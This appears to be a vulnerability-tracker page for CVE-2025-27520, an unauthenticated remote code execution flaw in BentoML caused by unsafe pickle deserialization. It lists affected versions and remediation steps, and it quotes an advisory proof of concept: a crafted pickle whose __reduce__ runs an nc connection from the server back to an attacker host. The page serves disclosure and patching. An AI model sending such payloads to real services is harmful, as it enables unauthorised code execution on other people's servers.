Live › vulnerability › CVE-2025-27520
Go to dashboardBentoML deserializes pickled request bodies sent to its API endpoints without validation, so a crafted pickle payload runs arbitrary code on the server. An unauthenticated remote attacker who can reach the service gets code execution with the service's privileges.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-27 15:18 UTC, 0h before NVD. All times on this page are UTC.
Teams running BentoML services in the affected range that expose an API endpoint to a network where untrusted clients can send requests. The payload path is the HTTP request body parsed by the pickle serializer, so any service reachable by an attacker is exposed, while services only reachable from trusted internal callers carry less risk. Teams on or later, or not running BentoML, can skip it.
1.4.3| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| bentoml | pypi | >= 1.3.4, < 1.4.3 | 1.4.3 |
| bentoml | vendor | >= 1.3.4, <= 1.4.2 | – |
pip show bentoml on the service host and check whether the version is at least 1.3.4 and below 1.4.3Content-Type: application/vnd.bentoml+pickle on their API routesbentoml to 1.4.3 or laterEach row is the first time that source carried this signal. The analyst’s rows are its own findings.
A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.
It exists an unsafe code segment in serde.py:
def deserialize_value(self, payload: Payload) -> t.Any:
if "buffer-lengths" not in payload.metadata:
return pickle.loads(b"".join(payload.data))
Through data flow analysis, it is confirmed that the payload content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.
Environment:
1.1 Install BentoML (Server host: 10.98.36.123) :
pip install -U bentoml
1.2 Define APIs in a service.py file (Server host: 10.98.36.123) :
from __future__ import annotations
import bentoml
@bentoml.service(
resources={"cpu": "4"}
)
class Summarization:
def __init__(self) -> None:
import torch
from transformers import pipeline
device = "cuda" if torch.cuda.is_available() else "cpu"
self.pipeline = pipeline('summarization', device=device)
@bentoml.api(batchable=True)
def summarize(self, texts: list[str]) -> list[str]:
results = self.pipeline(texts)
return [item['summary_text'] for item in results]
1.3 Run the service code (Server host: 10.98.36.123) :
pip install torch transformers # additional dependencies for local run
bentoml serve
Start nc listening on the attacking host (Attack host: 10.98.36.121) :
nc -lvvp 1234
Send maliciously crafted request (Attack host: 10.98.36.121) :
import pickle
import os
import requests
headers = {'Content-Type': 'application/vnd.bentoml+pickle'}
class Evil:
def __reduce__(self):
return(os.system, ('nc 10.98.36.121 1234',))
payload = pickle.dumps(Evil())
requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
Remote Code Execution (RCE).
This page as .md · .json · in your agent: get_signal("CVE-2025-27520")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.